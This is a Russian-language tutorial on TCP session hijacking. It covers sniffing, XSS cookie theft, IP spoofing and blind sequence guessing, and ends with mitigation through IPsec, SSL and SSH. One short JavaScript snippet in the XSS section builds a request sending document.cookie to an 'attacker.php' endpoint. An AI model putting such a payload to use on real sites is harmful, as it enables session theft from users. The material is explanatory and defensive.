TCP - перехват сеанса

TCP - перехват сеанса

Этичный Хакер

Что такое перехват сеанса?

Перехват сеанса TCP - это атака системы безопасности на сеанс пользователя по защищенной сети. Наиболее распространенный метод перехвата сеанса называется IP-подделкой, когда злоумышленник использует IP-пакеты, перенаправленные источником, для вставки команд в активный обмен данными между двумя узлами в сети и маскируется под одного из аутентифицированных пользователей. Этот тип атаки возможен, поскольку аутентификация обычно выполняется только в начале сеанса TCP.

Другой тип перехвата сеанса известен как атака "человек посередине", когда злоумышленник, используя сниффер, может наблюдать за обменом данными между устройствами и собирать передаваемые данные.

Различные способы перехвата сеанса :

Существует много способов перехвата сеанса. Некоторые из них приведены ниже – Использование анализаторов пакетов

На приведенном выше рисунке видно, что атака захватывает идентификатор сеанса жертвы, чтобы получить доступ к серверу с помощью некоторых анализаторов пакетов.

Межсайтовый скриптинг (XSS-атака)

Злоумышленник также может захватить идентификатор сеанса жертвы с помощью атаки XSS с помощью javascript. Если злоумышленник отправляет созданную ссылку жертве с помощью вредоносного JavaScript, когда жертва нажимает на ссылку, JavaScript запускается и выполняет инструкции, сделанные злоумышленником.

<SCRIPT type="text/javascript">

var adr = '../attacker.php?victim_cookie=' + escape(document.cookie);

</SCRIPT>

Подмена IP-адресов

  • Подмена - это выдавать себя за кого-то другого. Это метод, используемый для получения несанкционированного доступа к компьютеру с IP-адресом доверенного хоста. При реализации этого метода злоумышленник должен получить IP-адрес клиента и ввести свои собственные пакеты, подделанные IP-адресом клиента, в сеанс TCP, чтобы обмануть сервер, что он обменивается данными с жертвой, то есть с исходным хостом.

Атака вслепую

  • Если злоумышленник не может перехватить пакеты и угадать правильный порядковый номер, ожидаемый сервером, можно попробовать использовать комбинации порядковых номеров методом перебора.

Смягчение последствий

  • Чтобы защитить сеть от перехвата сеанса, защитник должен реализовать как меры безопасности на уровне приложений, так и на сетевом уровне. Перехваты на сетевом уровне можно предотвратить, зашифровав пакеты таким образом, чтобы злоумышленник не мог расшифровать заголовки пакетов, чтобы получить любую информацию, которая поможет в подделке. Это шифрование может быть обеспечено с помощью таких протоколов, как IPSEC, SSL, SSH и т.д. Протокол интернет-безопасности (IPSEC) обладает способностью шифровать пакет на некотором общем ключе между двумя сторонами, участвующими в обмене данными. IPSec работает в двух режимах: транспортном и туннельном.
  • В транспортном режиме шифруются только данные, отправляемые в пакете, в то время как в туннельном режиме шифруются как заголовки пакетов, так и данные, поэтому он является более строгим.
  • Перехват сеанса представляет серьезную угрозу для сетей и веб-приложений в Интернете, поскольку большинство систем уязвимы для него.


Report Page